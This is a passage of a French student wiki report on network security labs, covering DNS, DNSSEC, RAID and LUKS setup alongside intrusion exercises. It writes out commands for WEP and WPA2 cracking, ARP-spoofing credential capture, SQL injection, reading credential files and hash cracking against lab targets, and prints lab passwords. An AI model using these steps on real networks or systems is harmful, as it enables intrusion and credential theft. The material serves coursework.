 xvda3 202:3    0   10G  0 disk /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk /var&lt;br /&gt;
&lt;br /&gt;
==Service Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
Installation d'un serveur ssh, accessible grâce à la commande :&lt;br /&gt;
 ssh root@amanite.site&lt;br /&gt;
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine sur gandi.net :&lt;br /&gt;
 amanite.site&lt;br /&gt;
Nous avons ensuite installé le package bind9.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/zones/amanite.site.db :&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (&lt;br /&gt;
                              6         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.amanite.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	 IN 	 MX	 42 ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.184&lt;br /&gt;
 www     IN      A       193.48.57.184&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/name.conf.options&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
 	directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 	dnssec-validation auto;&lt;br /&gt;
 	listen-on-v6 { any; };&lt;br /&gt;
 	allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;;};&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
     217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net nous lions ns1.amanite.site à 193.48.57.184 grâce à l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.&lt;br /&gt;
 ns1.amanite.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :&lt;br /&gt;
 host -t any ns1.amanite.site localhost&lt;br /&gt;
 host -t any ns1.amanite.site&lt;br /&gt;
&lt;br /&gt;
ou se servir de nslookup.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.&lt;br /&gt;
Cette ligne de commande nous permet de lancer la procédure de création :&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:amanite.site&lt;br /&gt;
 Email Address []:admin@amanite.site&lt;br /&gt;
 &lt;br /&gt;
 Please enter the following 'extra' attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:glopglop&lt;br /&gt;
 An optional company name []:&lt;br /&gt;
&lt;br /&gt;
Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name &amp;quot;amanite.site&amp;quot;.&lt;br /&gt;
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. &lt;br /&gt;
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site&lt;br /&gt;
Puis la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues pour plus de lisibilité : &lt;br /&gt;
 amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private&lt;br /&gt;
&lt;br /&gt;
Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed&lt;br /&gt;
&lt;br /&gt;
Nous signons les enregistrements de la zone avec la commande : &lt;br /&gt;
 dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk &lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db.signed&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)&lt;br /&gt;
&lt;br /&gt;
Finalement nous relançons bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion==&lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d’un point d’accès WiFi===&lt;br /&gt;
&lt;br /&gt;
*Liste des commandes :&lt;br /&gt;
** Lister les interfaces WiFi disponibles : airmong-ng&lt;br /&gt;
** Passage d'une interface en mode moniteur : airmong-ng start &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Capture des paquets émis par le point d'accés cible :  airodump-ng --write &amp;lt;nomFichierSortie&amp;gt; --channel 3 -bssid &amp;lt;@mac_AP&amp;gt; &amp;lt;nomInterface&amp;gt;&lt;br /&gt;
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x &amp;lt;nomFichierSortie&amp;gt;-01.cap&lt;br /&gt;
&lt;br /&gt;
Notre première étape consiste à passer notre interface en mode moniteur.&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng&lt;br /&gt;
&lt;br /&gt;
Ce qui nous retourne le nom de notre interface, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface : &lt;br /&gt;
 airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande : &lt;br /&gt;
 airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous pouvons &amp;quot;stimuler&amp;quot; le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) : &lt;br /&gt;
 '''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 '''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande : &lt;br /&gt;
 aircrack-ng -z data.cap&lt;br /&gt;
&lt;br /&gt;
Nous obtenons alors : &lt;br /&gt;
 KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] &lt;br /&gt;
Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA2-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux capter par notre interface : &lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous repérons le réseau &amp;quot;Kracotte05&amp;quot; qui possède le BSSID suivant &amp;quot;00:14:1B:60:8C:24&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons lancer dès lors la commande :&lt;br /&gt;
 airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arrêter la capture.&lt;br /&gt;
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.&lt;br /&gt;
&lt;br /&gt;
Pour cracker le mot de passe, nous avons utilisé hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante :&lt;br /&gt;
 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour la kracotte05 est le suivant : 10244444&lt;br /&gt;
&lt;br /&gt;
===Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP===&lt;br /&gt;
&lt;br /&gt;
Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :&lt;br /&gt;
 apt-get install dsniff&lt;br /&gt;
&lt;br /&gt;
La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
Nous pouvons afficher la table arp de la machine pirate avec la commande : &lt;br /&gt;
 arp -a&lt;br /&gt;
Grâce à cette table nous identifions deux adresses IP :&lt;br /&gt;
&lt;br /&gt;
172.26.145.254&lt;br /&gt;
-&amp;gt; Adresse IP du routeur&lt;br /&gt;
&lt;br /&gt;
172.26.145.60&lt;br /&gt;
-&amp;gt; Adresse IP de la machine victime&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.&lt;br /&gt;
&lt;br /&gt;
Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :&lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 &lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 &lt;br /&gt;
&lt;br /&gt;
La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.&lt;br /&gt;
&lt;br /&gt;
En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparente. &lt;br /&gt;
&lt;br /&gt;
La machine victime va maintenant se connecter sur un serveur web HTTP.&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark sur la machine attaquante nous observons les paquets suivants :&lt;br /&gt;
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d’application Web===&lt;br /&gt;
&lt;br /&gt;
Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :&lt;br /&gt;
&lt;br /&gt;
 nmap -A -T4 honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Nous voyons que le serveur héberge deux services :&lt;br /&gt;
Un service de connexion ssh, inutilisable sans login et mot de passe&lt;br /&gt;
Un service web.&lt;br /&gt;
&lt;br /&gt;
Nous essayons donc de commencer par attaquer le site web honey.plil.info&lt;br /&gt;
&lt;br /&gt;
Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.&lt;br /&gt;
Les requêtes SQL de connexions sont souvent de la forme : &lt;br /&gt;
Select … From … Where login = « username » AND password = « password ».&lt;br /&gt;
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc nous utilisons la condition vraie sur les deux champs. De ce fait la base de données sera « perdue » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous indiquant qu'il est impossible de se connecter à tout ces comptes en même temps.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :&lt;br /&gt;
- La première permet d’uploader un fichier qui est stocké sur le pc du server&lt;br /&gt;
- La deuxième permet de lire ce fichier.&lt;br /&gt;
&lt;br /&gt;
Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.&lt;br /&gt;
&lt;br /&gt;
Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.&lt;br /&gt;
&lt;br /&gt;
 dirb -r honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme &amp;quot;glopglop&amp;quot; et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n amanite-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid3,xvda7,w'&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
Puis nous redémarrons notre VM.&lt;br /&gt;
 xl destroy amanite&lt;br /&gt;
 xl create /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
Après avoir relancer notre VM, nous installons le paquet mdadm.&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
Nous formatons notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
Et nous rajoutons la ligne suivante dans /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /raid5 ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Nous pouvons avoir des détails notre volume grâce à la commande : &lt;br /&gt;
 mdadm --detail /dev/md0&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous montons et peuplons notre volume RAID.&lt;br /&gt;
 mount /dev/md0 /mnt&lt;br /&gt;
 touch coucou.txt&lt;br /&gt;
&lt;br /&gt;
A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Nous déclarons un de nos disques comme étant en défaillance :&lt;br /&gt;
&lt;br /&gt;
 mdadm --set-faulty /dev/md0 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Puis nous l'enlevons de notre volume RAID :&lt;br /&gt;
 mdadm --remove /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :&lt;br /&gt;
 mdadm --manage /dev/md0 --add /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
===Chiffrement de données===&lt;br /&gt;
&lt;br /&gt;
Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.&lt;br /&gt;
&lt;br /&gt;
Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.&lt;br /&gt;
 &lt;br /&gt;
 mount /dev/mapper/crypt_sdb /mnt&lt;br /&gt;
&lt;br /&gt;
Puis nous y ajoutons un fichier.&lt;br /&gt;
&lt;br /&gt;
 touch /mnt/test.txt&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.&lt;br /&gt;
&lt;br /&gt;
 umount /mnt&lt;br /&gt;
 cryptsetup luksClose crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présents. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.&lt;br /&gt;
&lt;br /&gt;
===Inspection ARP par un élément réseau===&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation WiFi par WPA2-EAP===&lt;br /&gt;
&lt;br /&gt;
== TP ASR ==&lt;br /&gt;
&lt;br /&gt;
=== Architecture de la ferme ===&lt;br /&gt;
&lt;br /&gt;
Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.  &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1 par rapport à notre autre interface. &lt;br /&gt;
&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ] &lt;br /&gt;
&lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface                                                                                                                              &lt;br /&gt;
 auto eth0                                                                                                                                                    &lt;br /&gt;
 iface eth0 inet static                                                                                                                                        &lt;br /&gt;
 address 193.48.57.184                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.255                                                                                                                                      &lt;br /&gt;
 up ip address add dev eth0 100.64.0.24/24                                                                                                                    &lt;br /&gt;
 up ip route add default via 100.64.0.2 src 193.48.57.184                                                                                                     &lt;br /&gt;
 down ip address del dev eth0 100.64.0.24/24                                                                                                                  &lt;br /&gt;
 down ip route del default via 100.64.0.2 src 193.48.57.184                                                                                                                                                                                                                                                               &lt;br /&gt;
 &lt;br /&gt;
 # The secondary network interface                                                                                                                            &lt;br /&gt;
 auto eth1                                                                                                                                                    &lt;br /&gt;
 iface eth1 inet static                                                                                                                                        &lt;br /&gt;
 address 192.168.42.19                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.0 &lt;br /&gt;
&lt;br /&gt;
Nous avons mis en place notre propre mascarade avec les commandes suivantes :&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184&lt;br /&gt;
Ce qui permet à nos paquets en provenance de 192.168.45.5 (machine sur chassiron) de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder à des &amp;quot;apt install&amp;quot; et ne plus être considéré comme des hackeur russes malveillants.&lt;br /&gt;
&lt;br /&gt;
Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier &amp;quot;/etc/sysctl.conf&amp;quot; pour activer l'ip forwarding pour les paquets IPV4.&lt;br /&gt;
&lt;br /&gt;
A la fin de cette partie nous sommes capables de ping les machines entre elles.&lt;br /&gt;
 &lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0                                                                                                               &lt;br /&gt;
 iface eth0 inet static                                                                                                    &lt;br /&gt;
 address 192.168.42.5/24                                                                                                 &lt;br /&gt;
 gateway 192.168.42.19 &lt;br /&gt;
&lt;br /&gt;
Nous avons également modifié notre fichier /etc/resolv.conf :&lt;br /&gt;
 domain plil.info                                                                                                        &lt;br /&gt;
 search plil.info plil.fr                                                                                                &lt;br /&gt;
 nameserver 192.168.42.19&lt;br /&gt;
&lt;br /&gt;
Nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école. A la fin de cette partie la machine sur Chassiron est capable de ping google.&lt;br /&gt;
&lt;br /&gt;
'''Clés SSH'''&lt;br /&gt;
&lt;br /&gt;
Génération d’une paire de clef asymétrique :&lt;br /&gt;
 ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Ces clés sont stocké coté capbreton dans le dossier /.ssh&lt;br /&gt;
&lt;br /&gt;
Par la suite nous installons la clef publique sur nos cibles (les machines sur Chassiron) :&lt;br /&gt;
 cat .ssh/id_rsa.pub | ssh 192.168.42.5 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
Cette manipulation est cruciale pour ansible, sans cette dernière ansible ne peut fonctionner correctement&lt;br /&gt;
&lt;br /&gt;
'''Installation d'Ansible'''&lt;br /&gt;
&lt;br /&gt;
Installation via la commande :&lt;br /&gt;
 apt install ansible&lt;br /&gt;
&lt;br /&gt;
L'étape suivante consiste à créer un inventaire hosts dans /etc/ansible :&lt;br /&gt;
 [webserver]                                                                                                             &lt;br /&gt;
 192.168.42.5                                                                                                                                                                                                                                    &lt;br /&gt;
 &lt;br /&gt;
 [webservers]                                                                                                            &lt;br /&gt;
 192.168.42.5                                                                                                            &lt;br /&gt;
 192.168.42.2                                                                                                            &lt;br /&gt;
 192.168.42.4                                                                                                            &lt;br /&gt;
 192.168.42.7                                                                                                            &lt;br /&gt;
 192.168.42.9                                                                                                            &lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
Ce fichier répertorie nos différentes cibles en séparent webserver qui est une cible ne contenant que notre machine virtuelle secondaire et webservers qui contient l'ensemble des machines virtuelles du groupe 2. Nous pouvons effectuer une première vérification grâce à la commande ansible : &lt;br /&gt;
 ansible webserver -a &amp;quot;lsb_release -d&amp;quot;&lt;br /&gt;
&lt;br /&gt;
L'étape suivant consiste à tester ansible.&lt;br /&gt;
